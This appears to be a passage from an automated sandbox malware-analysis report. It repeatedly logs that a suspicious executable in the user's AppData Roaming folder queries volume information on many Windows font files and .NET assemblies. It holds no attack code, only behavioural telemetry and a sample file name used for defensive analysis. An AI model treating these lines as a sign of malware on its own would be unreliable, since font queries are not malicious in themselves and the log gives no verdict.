Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
